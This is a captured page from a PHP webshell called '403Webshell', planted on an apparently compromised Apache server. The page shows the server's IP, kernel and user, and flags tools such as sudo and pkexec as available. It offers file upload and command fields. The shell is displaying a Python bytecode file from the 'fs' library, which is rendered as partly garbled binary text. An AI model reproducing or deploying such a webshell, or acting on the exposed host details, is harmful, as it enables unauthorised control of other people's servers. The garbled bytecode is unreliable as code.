403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/compress.cpython-310.pyc
o

�Q`t�@sdZddlmZddlmZddlmZddlZddlZddlZddlZddl	m	Z	ddl
Z
ddlmZdd	l
mZdd
lmZddlmZmZddlmZejrodd
lmZmZmZmZmZddlmZeeeeeeefZejddfdd�Z 			ddd�Z!dS)z�Functions to compress the contents of a filesystem.

Currently zip and tar are supported, using the `zipfile` and
`tarfile` modules from the standard library.
�)�absolute_import)�print_function)�unicode_literalsN)�datetime�)�ResourceType)�relpath)�datetime_to_epoch)�	NoSysPath�MissingInfoNamespace)�Walker)�BinaryIO�Optional�Text�Tuple�Union)�FS�utf-8cCs�tj|d|dd�}|p
t�}|��|j|gd�d�}|D]�\}}t|jr(|dn|�}	tjs4|	�|d�}	|�	d�rL|�
dd	d
�}
t�|
�}|dd�}n|j
pRt��}
|
j|
j|
j|
j|
j|
jf}t�|	|�}z|jd
urt|jjd
>|_Wn	ty~Ynw|jr�|jd
O_|�|d�qz|�|�}Wnty�|�||�|��Yqw|�||	�qWd
�d
S1s�wYd
S)aWrite the contents of a filesystem to a zip file.

    Arguments:
        src_fs (~fs.base.FS): The source filesystem to compress.
        file (str or io.IOBase): Destination file, may be a file name
            or an open file object.
        compression (int): Compression to use (one of the constants
            defined in the `zipfile` module in the stdlib). Defaults
            to `zipfile.ZIP_DEFLATED`.
        encoding (str):
             The encoding to use for filenames. The default is ``"utf-8"``,
             use ``"CP437"`` if compatibility with WinZip is desired.
        walker (~fs.walk.Walker, optional): A `Walker` instance, or `None`
            to use default walker. You can use this to specify which files
            you want to compress.

    �wT)�mode�compression�
allowZip64��details�stat�access��
namespaces�/�replacer�st_mtimeNr���) �zipfile�ZipFiler�infor�is_dir�six�PY3�encode�
has_namespace�get�time�	localtime�modifiedr�utcnow�year�month�day�hour�minute�second�ZipInfo�permissionsr�
external_attrr�writestr�
getsyspathr
�	readbytes�write)�src_fs�filer�encoding�walker�_zip�gen_walk�pathr&�zip_namer �_mtime�zip_time�mt�zip_info�sys_path�rK�-/usr/lib/python3/dist-packages/fs/compress.py�	write_zip sB



����"�rMcCstjtjtjtjtjtjtjtj	tj
tjtjtj
tjtjtjtj
i}gd�}d�|p+d�}t|tjtjf�r>tj||d�}ntj||d�}t��}	|pMt�}|��|j|gd�d�}
|
D]�\}}t|�}
tjsm|
�|d�}
t�|
�}|�d	�r|�d	d
|	�}n|j p�|	}t|t!�r�t"|�}t|t#�r�t$|�}||_%|D]\}}t&||d�dur�t'||t&||d��q�|�d�r�t&|j(d
d�|_)|j*r�tj|_+|�,|�q\|�|j+tj�|_+|j-|_-|�.|��}|�,||�Wd�n1s�wYq\Wd�dS1�swYdS)aGWrite the contents of a filesystem to a tar file.

    Arguments:
        file (str or io.IOBase): Destination file, may be a file
            name or an open file object.
        compression (str, optional): Compression to use, or `None`
            for a plain Tar archive without compression.
        encoding(str): The encoding to use for filenames. The
            default is ``"utf-8"``.
        walker (~fs.walk.Walker, optional): A `Walker` instance, or
            `None` to use default walker. You can use this to specify
            which files you want to compress.

    ))�uidrN)�gidrO)�uname�user)�gname�groupzw:{}�)r)�fileobjrrrrrr Nrri)/r�block_special_file�tarfile�BLKTYPE�	character�CHRTYPE�	directory�DIRTYPE�fifo�FIFOTYPEr?�REGTYPE�socket�AREGTYPE�symlink�SYMTYPE�unknown�format�
isinstancer(�	text_type�binary_type�openr-rr&rr)r*�TarInfor+r,r/rr	�float�int�mtime�getattr�setattrr8rr'�type�addfile�size�openbin)r>r?rr@rA�type_map�tar_attrr�_tar�current_timerCrDr&�tar_name�tar_inform�tarattr�infoattr�bin_filerKrKrL�	write_tarls`�





�
���$�r})NrN)"�__doc__�
__future__rrrr-rW�typingr$rr(�enumsrrDrr	�errorsr
r�walkr�
TYPE_CHECKINGr
rrrr�baserrl�ZipTime�ZIP_DEFLATEDrMr}rKrKrKrL�<module>s6
�O�

Youez - 2016 - github.com/yon3zu
LinuXploit